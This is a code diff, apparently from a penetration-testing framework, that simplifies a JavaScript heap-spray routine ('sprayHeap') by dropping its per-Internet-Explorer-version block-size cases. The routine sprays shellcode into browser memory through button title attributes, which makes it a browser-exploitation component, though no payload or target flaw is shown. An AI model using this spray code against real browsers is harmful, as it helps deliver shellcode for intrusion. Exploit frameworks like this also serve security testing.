@@ -799,8 +799,6 @@ def js_base64
799
799
#
800
800
# The "sprayHeap" JavaScript function supports the following arguments:
801
801
# shellcode => The shellcode to spray in JavaScript.
802
- # browser => The type of browser to target for precise block size, such as:
803
- # 'ie8', 'ie9', 'ie10', and 'generic'.
804
802
# objId => Optional. The ID for a <div> HTML tag.
805
803
# offset => Optional. Number of bytes to align the shellcode, default: 0x104
806
804
# heapBlockSize => Optional. Allocation size, default: 0x80000
@@ -822,7 +820,6 @@ def js_property_spray
822
820
function sprayHeap( oArg ) {
823
821
824
822
shellcode = oArg.shellcode;
825
- browser = oArg.browser;
826
823
offset = oArg.offset;
827
824
heapBlockSize = oArg.heapBlockSize;
828
825
maxAllocs = oArg.maxAllocs;
@@ -832,7 +829,6 @@ def js_property_spray
832
829
if (offset == undefined) { offset = 0x104; }
833
830
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
834
831
if (maxAllocs == undefined) { maxAllocs = 0x350; }
835
- if (browser == undefined) { browser = 'generic'; }
836
832
837
833
if (offset > 0x800) { throw "Bad alignment"; }
838
834
@@ -855,31 +851,8 @@ def js_property_spray
855
851
for (var i = 0; i < maxAllocs; i++)
856
852
{
857
853
var obj = document.createElement("button");
858
- switch (browser)
859
- {
860
- case 'ie8':
861
- obj.title = data.substring(0, (heapBlockSize-6)/2);
862
- div_container.appendChild(obj);
863
- break;
864
-
865
- case 'ie9':
866
- obj.title = data.substring(0, (heapBlockSize-2)/2);
867
- div_container.appendChild(obj);
868
- break;
869
-
870
- case 'ie10':
871
- obj.title = data.substring(0, (heapBlockSize-2)/2);
872
- div_container.appendChild(obj);
873
- break;
874
-
875
- case 'generic':
876
- obj.title = data.substring(0, (heapBlockSize-2)/2);
877
- div_container.appendChild(obj);
878
- break;
879
-
880
- default:
881
- throw "Invalid argument";
882
- }
854
+ obj.title = data.substring(0, (heapBlockSize-2)/2);
855
+ div_container.appendChild(obj);
883
856
}
884
857
}
885
858
|
0 commit comments